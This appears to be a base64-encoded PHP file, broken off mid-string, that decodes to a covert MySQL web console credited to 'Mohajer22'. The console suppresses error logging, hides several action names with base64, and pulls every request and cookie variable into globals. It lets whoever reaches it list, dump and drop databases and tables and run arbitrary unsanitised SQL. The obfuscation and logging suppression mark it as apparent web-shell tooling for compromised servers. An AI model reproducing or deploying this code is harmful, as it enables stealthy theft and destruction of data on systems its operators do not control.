KDApOwppbmlfc2V0ICgnZGlzcGxheV9lcnJvcnMnLCAwKTsKaW5pX3NldCAoJ2xvZ19lcnJvcnMn
LCAwKTsKCmlmKCAkYWN0aW9uID09ICJsb2dvbiIgfHwgJGFjdGlvbiA9PSAiIiB8fCAkYWN0aW9u
ID09ICJsb2dvdXQiICkKCWxvZ29uKCk7CmVsc2UgaWYoICRhY3Rpb24gPT0gImJHOW5iMjVmYzNW
aWJXbDAiICkKCWxvZ29uX3N1Ym1pdCgpOwplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUi
IHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7Cgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0g
ZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1p
bl91c2VybmFtZSIgKSAkVVNFUk5BTUUgPSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dl
Yl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15
c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7Cgl9CgkkbXlzcWxI
YW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBB
U1NXT1JEICk7CglkdW1wKCk7Cn0gZWxzZSB7Cgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0g
ZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1p
bl91c2VybmFtZSIgKSAkVVNFUk5BTUUgPSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dl
Yl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15
c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7Cgl9CgllY2hvICI8
IS0tIjsKCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2Iiwg
JFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsKCWVjaG8gIi0tPiI7CgoJaWYoICRteXNxbEhhbmRsZSA9
PSBmYWxzZSApIHsKCgoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48
dGQ+PGNlbnRlcj5cbiI7CgkJZWNobyAiPGgxPldyb25nIFBhc3N3b3JkITwvaDE+XG4iOwoJCWVj
aG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb24nPkxvZ29uPC9hPlxuIjsKCQllY2hv
ICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgoJfSBlbHNlIHsKCgkJaWYoICRhY3Rp
b24gPT0gImJHbHpkRVJDY3c9PSIgKQoJCQlsaXN0RGF0YWJhc2VzKCk7CgkJZWxzZSBpZiggJGFj
dGlvbiA9PSAiY3JlYXRlREIiICkKCQkJY3JlYXRlRGF0YWJhc2UoKTsKCQllbHNlIGlmKCAkYWN0
aW9uID09ICJkcm9wREIiICkKCQkJZHJvcERhdGFiYXNlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9
PSAibGlzdFRhYmxlcyIgKQoJCQlsaXN0VGFibGVzKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAi
Y3JlYXRlVGFibGUiICkKCQkJY3JlYXRlVGFibGUoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJk
cm9wVGFibGUiICkKCQkJZHJvcFRhYmxlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1Nj
aGVtYSIgKQoJCQl2aWV3U2NoZW1hKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAicXVlcnkiICkK
CQkJdmlld0RhdGEoICRxdWVyeVN0ciApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxk
IiApCgkJCW1hbmFnZUZpZWxkKCAiYWRkIiApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZp
ZWxkX3N1Ym1pdCIgKQoJCQltYW5hZ2VGaWVsZF9zdWJtaXQoICJhZGQiICk7CgkJZWxzZSBpZigg
JGFjdGlvbiA9PSAiZWRpdEZpZWxkIiApCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsKCQllbHNl
IGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGRfc3VibWl0IiApCgkJCW1hbmFnZUZpZWxkX3N1Ym1p
dCggImVkaXQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApCgkJCWRyb3BG
aWVsZCgpOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIgKQoJCQl2aWV3RGF0
YSggIiIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGREYXRhIiApCgkJCW1hbmFnZURhdGEo
ICJhZGQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkKCQkJbWFu
YWdlRGF0YV9zdWJtaXQoICJhZGQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdERhdGEi
ICkKCQkJbWFuYWdlRGF0YSggImVkaXQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdERh
dGFfc3VibWl0IiApCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiZWRpdCIgKTsKCQllbHNlIGlmKCAk
YWN0aW9uID09ICJkZWxldGVEYXRhIiApCgkJCWRlbGV0ZURhdGEoKTsKCQllbHNlIGlmKCAkYWN0
aW9uID09ICJ1dGlscyIgKQoJCQl1dGlscygpOwoKCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxl
KTsKCQlmb290ZXJfaHRtbCgpOwoJfQp9CgoKPD8KJFBBU1NXT1JEID0gImthbGEiOwokVVNFUk5B
TUUgPSAiMTIzIjsKCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7Cgkkb25vZmYg
PSBpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxzJyk7Cn0gZWxzZSB7Cgkkb25vZmYgPSBnZXRfY2Zn
X3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOwp9CmlmICgkb25vZmYgIT0gMSkgewoJQGV4dHJhY3Qo
JEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9DT09LSUVfVkFS
UywgRVhUUl9TS0lQKTsKCUBleHRyYWN0KCRIVFRQX1BPU1RfRklMRVMsIEVYVFJfU0tJUCk7CglA
ZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9HRVRf
VkFSUywgRVhUUl9TS0lQKTsKCUBleHRyYWN0KCRIVFRQX0VOVl9WQVJTLCBFWFRSX1NLSVApOwp9
CgpmdW5jdGlvbiBsb2dvbigpIHsKCWdsb2JhbCAkUEhQX1NFTEY7CglzZXRjb29raWUoICJteXNx
bF93ZWJfYWRtaW5fdXNlcm5hbWUiICk7CglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fcGFz
c3dvcmQiICk7CglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7CgllY2hv
ICI8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJT48dHI+PHRkPjxjZW50ZXI+XG4iOwoJZWNo
byAiPHRhYmxlIGNlbGxwYWRkaW5nPTI+PHRyPjx0ZD48Y2VudGVyPlxuIjsKCWVjaG8gIjx0YWJs
ZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOwoJZWNobyAiPGgxPk15U1FMIElu
dGVyZmFjZSAoRGV2ZWxvcGVkIEJ5IE1vaGFqZXIyMik8L2gxPlxuIjsKCWVjaG8gIjxmb3JtIGFj
dGlvbj0nJFBIUF9TRUxGJz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rp
b24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7CgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9
NSBjZWxsc3BhY2luZz0xPlxuIjsKCWVjaG8gIjx0cj48dGQ+SG9zdG5hbWUgPC90ZD48dGQ+IDxp
bnB1dCB0eXBlPXRleHQgbmFtZT1ob3N0bmFtZSB2YWx1ZT0nbG9jYWxob3N0Jz48L3RkPjwvdHI+
XG4iOwoJZWNobyAiPHRyPjx0ZD5Vc2VybmFtZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBu
YW1lPXVzZXJuYW1lPjwvdGQ+PC90cj5cbiI7CgllY2hvICI8dHI+PHRkPlBhc3N3b3JkIDwvdGQ+
PHRkPiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3N3b3JkPjwvdGQ+PC90cj5cbiI7Cgll
Y2hvICI8L3RhYmxlPjxwPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50
ZXInPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXJlc2V0IHZhbHVlPSdDbGVhcic+PGJyPlxuIjsK
CWVjaG8gIjwvZm9ybT5cbiI7CgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7
CgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgllY2hvICI8cD48aHIgd2lk
dGg9MzAwPlxuIjsKCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsKfQoKZnVu
Y3Rpb24gbG9nb25fc3VibWl0KCkgewoJZ2xvYmFsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkaG9z
dG5hbWUgLCRQSFBfU0VMRjsKCWlmKCRob3N0bmFtZSA9PScnKQoJCSRob3N0bmFtZSA9ICdsb2Nh
bGhvc3QnOwoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiwgJHVzZXJuYW1l
ICk7CglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiLCAkcGFzc3dvcmQgKTsK
CXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOwoJZWNo
byAiPE1FVEEgSFRUUC1FUVVJVj1SZWZyZXNoIENPTlRFTlQ9JzA7IFVSTD0kUEhQX1NFTEY/YWN0
aW9uPWJHbHpkRVJDY3c9PSc+IjsKCn0KCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsKCWds
b2JhbCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJaWYoICRlcnJNc2cgPT0gIiIgKSAkZXJyTXNnID0g
IlN1Y2Nlc3MiOwoJaWYoICRxdWVyeVN0ciAhPSAiIiApIHsKCQllY2hvICI8dGFibGUgY2VsbHBh
ZGRpbmc9NT5cbiI7CgkJZWNobyAiPHRyPjx0ZD5RdWVyeTwvdGQ+PHRkPiRxdWVyeVN0cjwvdGQ+
PC90cj5cbiI7CgkJZWNobyAiPHRyPjx0ZD5SZXN1bHQ8L3RkPjx0ZD4kZXJyTXNnPC90ZD48L3Ry
PlxuIjsKCQllY2hvICI8L3RhYmxlPjxwPlxuIjsKCX0KfQoKZnVuY3Rpb24gbGlzdERhdGFiYXNl
cygpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRQSFBfU0VMRjsKCgllY2hvICI8aDE+RGF0YWJh
c2VzIExpc3Q8L2gxPlxuIjsKCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOwoJ
ZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsK
CWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kYm5hbWU+XG4iOwoJZWNobyAiPGlucHV0IHR5
cGU9c3VibWl0IHZhbHVlPSdDcmVhdGUgRGF0YWJhc2UnPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7
CgllY2hvICI8aHI+XG4iOwoKCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5n
PTU+XG4iOwoKCSRwREIgPSBteXNxbF9saXN0X2RicyggJG15c3FsSGFuZGxlICk7CgkkbnVtID0g
bXlzcWxfbnVtX3Jvd3MoICRwREIgKTsKCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7
CgkJJGRibmFtZSA9IG15c3FsX2RibmFtZSggJHBEQiwgJGkgKTsKCQllY2hvICI8dHI+XG4iOwoJ
CWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7CgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VM
Rj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSc+VGFibGVzPC9hPjwvdGQ+XG4iOwoJ
CWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRyb3BEQiZkYm5hbWU9JGRibmFt
ZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEcm9wIERhdGFiYXNlIFwnJGRibmFtZVwnPycp
XCI+RHJvcDwvYT48L3RkPlxuIjsKCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlv
bj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBE
YXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7CgkJZWNobyAiPC90cj5c
biI7Cgl9CgllY2hvICI8L3RhYmxlPlxuIjsKfQoKZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7
CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7CgoJbXlzcWxfY3JlYXRl
X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCWxpc3REYXRhYmFzZXMoKTsKfQoKZnVuY3Rp
b24gZHJvcERhdGFiYXNlKCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9T
RUxGOwoKCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJbGlzdERhdGFi
YXNlcygpOwp9CgpmdW5jdGlvbiBsaXN0VGFibGVzKCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwg
JGRibmFtZSwgJFBIUF9TRUxGOwoKCgllY2hvICI8aDE+VGFibGVzIExpc3Q8L2gxPlxuIjsKCWVj
aG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWU8L3A+XG4iOwoJZWNob1F1ZXJ5UmVzdWx0KCk7
CgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9
aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZVRhYmxlPlxuIjsKCWVjaG8gIjxpbnB1dCB0
eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsKCWVjaG8gIjxpbnB1dCB0
eXBlPXRleHQgbmFtZT10YWJsZW5hbWU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZh
bHVlPSdDcmVhdGUgVGFibGUnPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7CgllY2hvICI8Zm9ybSBh
Y3Rpb249JyRQSFBfU0VMRic+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0
aW9uIHZhbHVlPXF1ZXJ5PlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFt
ZSB2YWx1ZT0kZGJuYW1lPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0xMjAgbmFt
ZT1xdWVyeVN0cj5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J1F1ZXJ5Jz5c
biI7CgllY2hvICI8L2Zvcm0+XG4iOwoJZWNobyAiPGhyPlxuIjsKCgkkcFRhYmxlID0gbXlzcWxf
bGlzdF90YWJsZXMoICRkYm5hbWUgKTsKCglpZiggJHBUYWJsZSA9PSAwICkgewoJCSRtc2cgID0g
bXlzcWxfZXJyb3IoKTsKCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7CgkJcmV0
dXJuOwoJfQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7CgoJZWNobyAiPHRhYmxl
IGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7CgoJZm9yKCAkaSA9IDA7ICRpIDwgJG51
bTsgJGkrKyApIHsKCQkkdGFibGVuYW1lID0gbXlzcWxfdGFibGVuYW1lKCAkcFRhYmxlLCAkaSAp
OwoKCQllY2hvICI8dHI+XG4iOwoJCWVjaG8gIjx0ZD5cbiI7CgkJZWNobyAiJHRhYmxlbmFtZVxu
IjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQ
SFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxl
bmFtZSc+U2NoZW1hPC9hPlxuIjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+XG4iOwoJ
CWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJu
YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsKCQllY2hvICI8L3RkPlxuIjsK
CQllY2hvICI8dGQ+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRh
YmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJu
IGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsKCQll
Y2hvICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VM
Rj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBv
bkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5E
dW1wPC9hPlxuIjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hvICI8L3RyPlxuIjsKCX0KCgllY2hv
ICI8L3RhYmxlPiI7Cn0KCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgewoJZ2xvYmFsICRteXNxbEhh
bmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7
CgoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOwoJbXlz
cWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCW15c3FsX3F1ZXJ5KCAkcXVl
cnlTdHIsICRteXNxbEhhbmRsZSApOwoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7CgoJbGlzdFRh
YmxlcygpOwp9CgpmdW5jdGlvbiBkcm9wVGFibGUoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAk
ZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsKCgkkcXVl
cnlTdHIgPSAiRFJPUCBUQUJMRSAkdGFibGVuYW1lIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFt
ZSwgJG15c3FsSGFuZGxlICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUg
KTsKCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOwoKCWxpc3RUYWJsZXMoKTsKfQoKZnVuY3Rpb24g
dmlld1NjaGVtYSgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUs
ICRQSFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJyTXNnOwoKCWVjaG8gIjxoMT5UYWJsZSBTY2hlbWE8
L2gxPlxuIjsKCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1l
PC9wPlxuIjsKCgllY2hvUXVlcnlSZXN1bHQoKTsKCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/
YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQg
RmllbGQ8L2E+IHwgXG4iOwoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBS
aGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPlZpZXcgRGF0YTwvYT5c
biI7CgllY2hvICI8aHI+XG4iOwoKCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUs
ICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3Mo
ICRwUmVzdWx0ICk7CgoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5c
biI7CgllY2hvICI8dHI+XG4iOwoJZWNobyAiPHRoPkZpZWxkPC90aD5cbiI7CgllY2hvICI8dGg+
VHlwZTwvdGg+XG4iOwoJZWNobyAiPHRoPk51bGw8L3RoPlxuIjsKCWVjaG8gIjx0aD5LZXk8L3Ro
PlxuIjsKCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7CgllY2hvICI8dGg+RXh0cmE8L3RoPlxu
IjsKCWVjaG8gIjx0aCBjb2xzcGFuPTI+QWN0aW9uPC90aD5cbiI7CgllY2hvICI8L3RyPlxuIjsK
CgoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRj
aF9hcnJheSggJHBSZXN1bHQgKTsKCQllY2hvICI8dHI+XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVs
ZFsiRmllbGQiXS4iPC90ZD5cbiI7CgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+
XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsKCQllY2hvICI8dGQ+
Ii4kZmllbGRbIktleSJdLiI8L3RkPlxuIjsKCQllY2hvICI8dGQ+Ii4kZmllbGRbIkRlZmF1bHQi
XS4iPC90ZD5cbiI7CgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsKCQkk
ZmllbGRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOwoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NF
TEY/YWN0aW9uPWVkaXRGaWVsZCZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZm
aWVsZG5hbWU9JGZpZWxkbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsKCQllY2hvICI8dGQ+PGEgaHJl
Zj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0
YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgn
RHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7CgkJZWNobyAi
PC90cj5cbiI7Cgl9CgllY2hvICI8L3RhYmxlPlxuIjsKCn0KCmZ1bmN0aW9uIG1hbmFnZUZpZWxk
KCAkY21kICkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZp
ZWxkbmFtZSwgJFBIUF9TRUxGOwoKCWlmKCAkY21kID09ICJhZGQiICkKCQllY2hvICI8aDE+QWRk
IEZpZWxkPC9oMT5cbiI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApIHsKCQllY2hvICI8aDE+
RWRpdCBGaWVsZDwvaDE+XG4iOwoJCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUs
ICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7CgkJJG51bSA9IG15c3FsX251bV9yb3dz
KCAkcFJlc3VsdCApOwoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CgkJCSRmaWVs
ZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOwoJCQlpZiggJGZpZWxkWyJGaWVsZCJd
ID09ICRmaWVsZG5hbWUgKSB7CgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07CgkJCQkk
ZmllbGRrZXkgPSAkZmllbGRbIktleSJdOwoJCQkJJGZpZWxkZXh0cmEgPSAkZmllbGRbIkV4dHJh
Il07CgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07CgkJCQkkZmllbGRkZWZhdWx0ID0g
JGZpZWxkWyJEZWZhdWx0Il07CgkJCQlicmVhazsKCQkJfQoJCX0KCQkkdHlwZSA9IHN0cnRvaygg
JGZpZWxkdHlwZSwgIiAoLClcbiIgKTsKCQlpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiKCIgKSAp
IHsKCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgewoJCQkJJHZhbHVl
bGlzdCA9IHN0cnRvayggIiAoKVxuIiApOwoJCQl9IGVsc2UgewoJCQkJJE0gPSBzdHJ0b2soICIg
KCwpXG4iICk7CgkJCQlpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiLCIgKSApCgkJCQkJJEQgPSBz
dHJ0b2soICIgKCwpXG4iICk7CgkJCX0KCQl9Cgl9CgoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+
JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOwoJZWNobyAiPGZvcm0gYWN0aW9uPSRQSFBf
U0VMRj5cbiI7CgoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRl
biBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOwoJZWxzZSBpZiggJGNtZCA9
PSAiZWRpdCIgKSB7CgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVl
PWVkaXRGaWVsZF9zdWJtaXQ+XG4iOwoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9s
ZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOwoJfQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVu
IG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVu
IG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOwoKCWVjaG8gIjxoMz5OYW1lPC9o
Mz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0kZmllbGRuYW1l
PjxwPlxuIjsKCWVjaG8gJwoKPGgzPlR5cGU8L2gzPgoKPGZvbnQgc2l6ZT0yPgoqIGBNXCcgaW5k
aWNhdGVzIHRoZSBtYXhpbXVtIGRpc3BsYXkgc2l6ZS48YnI+CiogYERcJyBhcHBsaWVzIHRvIGZs
b2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9s
bG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4KPC9mb250PgoKPHRhYmxlPgo8dHI+Cjx0aD5U
eXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2ln
bmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPgo8L3RyPgo8dHI+Cjx0ZD48
